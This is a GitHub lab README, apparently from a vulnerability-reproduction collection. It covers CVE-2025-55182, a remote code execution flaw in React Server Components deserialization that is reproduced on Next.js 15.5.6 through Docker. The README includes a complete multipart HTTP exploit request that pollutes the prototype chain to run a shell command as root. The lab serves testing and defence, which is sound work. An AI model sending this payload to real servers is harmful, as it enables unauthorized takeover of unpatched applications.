Skip to content

Latest commit

 

History

History

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 

README.md

React Server Components Flight Protocol Deserialization RCE (CVE-2025-55182)

中文版本(Chinese version)

React Server Components (RSC) is a feature that allows developers to render components on the server and send the result to the client.

There is an unauthenticated remote code execution vulnerability in React Server Components. An attacker could craft a malicious HTTP request to any Server Function endpoint that, when deserialized by React, achieves remote code execution on the server. This vulnerability affects versions of react-server-dom-webpack, react-server-dom-parcel, and react-server-dom-turbopack from 19.0 to 19.2.0, as well as frameworks relying on them like Next.js.

References:

Environment Setup

Although this vulnerability is present in React Server Components, Next.js, as the most popular React framework, fully supports React Server Components since Next.js 15. Therefore, we can use Next.js to reproduce the vulnerability.

Execute the following command to start a Next.js 15.5.6 server with the vulnerability:

docker compose up -d

After the server starts, you can browse the application at http://your-ip:3000.

Vulnerability Reproduction

The vulnerability is caused by a flaw in how React Server Components decodes payloads. By injecting specific fields into the serialized data, an attacker can traverse the prototype chain and execute arbitrary code.

Send the following request packet to execute the command id:

POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 758

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

After sending the request, check the x-action-redirect header in the response, which contains the execution result of the id command:

x-action-redirect: /login?a=uid=0(root) gid=0(root) groups=0(root);push